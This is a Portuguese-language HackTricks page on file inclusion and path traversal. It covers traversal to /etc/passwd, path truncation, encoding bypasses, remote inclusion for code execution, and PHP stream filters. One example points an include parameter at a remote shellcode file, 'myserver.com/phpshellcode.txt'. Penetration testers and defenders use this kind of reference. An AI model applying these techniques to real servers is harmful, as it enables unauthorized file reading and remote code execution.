File Inclusion/Path traversal
Last updated
Last updated
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Junte-se ao HackenProof Discord servidor para se comunicar com hackers experientes e caçadores de bugs!
Insights de Hacking Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
Notícias de Hacking em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Inclusão de Arquivos Remota (RFI): O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso é desativado por padrão (allow_url_include). Inclusão de Arquivos Local (LFI): O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
Funções PHP vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap
Misturando várias listas de LFI *nix e adicionando mais caminhos, criei esta:
Tente também mudar /
por \
Tente também adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada aqui
Mescla de diferentes listas de palavras:
Tente também mudar /
por \
Tente também remover C:/
e adicionar ../../../../../
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada aqui
Verifique a lista de LFI do linux.
Todos os exemplos são para Inclusão de Arquivo Local, mas também podem ser aplicados à Inclusão de Arquivo Remoto (página=http://myserver.com/phpshellcode.txt\.
Ignorar a adição de mais caracteres no final da string fornecida (bypass de: $_GET['param']."php")
Isso está resolvido desde o PHP 5.4
Você pode usar codificações não padrão, como codificação dupla de URL (e outras):
Talvez o back-end esteja verificando o caminho da pasta:
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Este processo envolve determinar a profundidade do diretório e investigar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
Determinar a Profundidade do Diretório: Verifique a profundidade do seu diretório atual buscando com sucesso o arquivo /etc/passwd
(aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
Procurar por Pastas: Anexe o nome da pasta suspeita (por exemplo, private
) à URL, e então navegue de volta para /etc/passwd
. O nível de diretório adicional requer aumentar a profundidade em um:
Interpretar os Resultados: A resposta do servidor indica se a pasta existe:
Erro / Sem Saída: A pasta private
provavelmente não existe na localização especificada.
Conteúdo de /etc/passwd
: A presença da pasta private
é confirmada.
Exploração Recursiva: Pastas descobertas podem ser investigadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
Para explorar diretórios em diferentes localizações no sistema de arquivos, ajuste a carga útil de acordo. Por exemplo, para verificar se /var/www/
contém um diretório private
(supondo que o diretório atual esteja a uma profundidade de 3), use:
O truncamento de caminho é um método empregado para manipular caminhos de arquivos em aplicações web. É frequentemente utilizado para acessar arquivos restritos, contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
/etc/passwd
, /etc//passwd
, /etc/./passwd
, e /etc/passwd/
são todos tratados como o mesmo caminho.
Quando os últimos 6 caracteres são passwd
, adicionar um /
(tornando-o passwd/
) não muda o arquivo alvo.
Da mesma forma, se .php
for adicionado a um caminho de arquivo (como shellcode.php
), adicionar um /.
no final não alterará o arquivo sendo acessado.
Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar /etc/passwd
, um alvo comum devido ao seu conteúdo sensível (informações da conta de usuário):
Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
Usando Segmentos de Ponto e Caracteres Adicionais: Sequências de travessia (../
) combinadas com segmentos de ponto e caracteres extras podem ser usadas para navegar pelo sistema de arquivos, ignorando efetivamente as strings anexadas pelo servidor.
Determinando o Número Necessário de Travessias: Através de tentativa e erro, pode-se encontrar o número preciso de sequências ../
necessárias para navegar até o diretório raiz e, em seguida, para /etc/passwd
, garantindo que quaisquer strings anexadas (como .php
) sejam neutralizadas, mas o caminho desejado (/etc/passwd
) permaneça intacto.
Começando com um Diretório Falso: É uma prática comum começar o caminho com um diretório inexistente (como a/
). Essa técnica é usada como uma medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
Essa vulnerabilidade foi corrigida no PHP 5.3.
Em php isso está desativado por padrão porque allow_url_include
está Desligado. Deve estar Ligado para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
Se por algum motivo allow_url_include
está Ativado, mas o PHP está filtrando o acesso a páginas da web externas, de acordo com este post, você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
No código anterior, o final +.txt
foi adicionado porque o atacante precisava de uma string que terminasse em .txt
, então a string termina com isso e, após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
Outro exemplo não usando o protocolo php://
seria:
Em python, em um código como este:
Se o usuário passar um caminho absoluto para file_name
, o caminho anterior é apenas removido:
É o comportamento pretendido de acordo com a documentação:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
Parece que se você tiver uma Path Traversal em Java e pedir um diretório em vez de um arquivo, um listagem do diretório é retornada. Isso não acontecerá em outras linguagens (até onde sei).
Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivos locais (LFI) (de link):
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Remove tags dos dados (tudo entre os caracteres "<" e ">")
Note que este filtro desapareceu das versões modernas do PHP
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>
). Para obter a lista de todas as codificações suportadas, execute no console: iconv -l
Abusando do filtro de conversão convert.iconv.*
você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer uma função como incluir texto arbitrário. Para mais informações, consulte LFI2RCE via php filters.
zlib.deflate
: Comprime o conteúdo (útil se exfiltrando muitas informações)
zlib.inflate
: Descomprime os dados
mcrypt.*
: Obsoleto
mdecrypt.*
: Obsoleto
Outros Filtros
Executando em php var_dump(stream_get_filters());
você pode encontrar alguns filtros inesperados:
consumed
dechunk
: reverte a codificação HTTP em pedaços
convert.*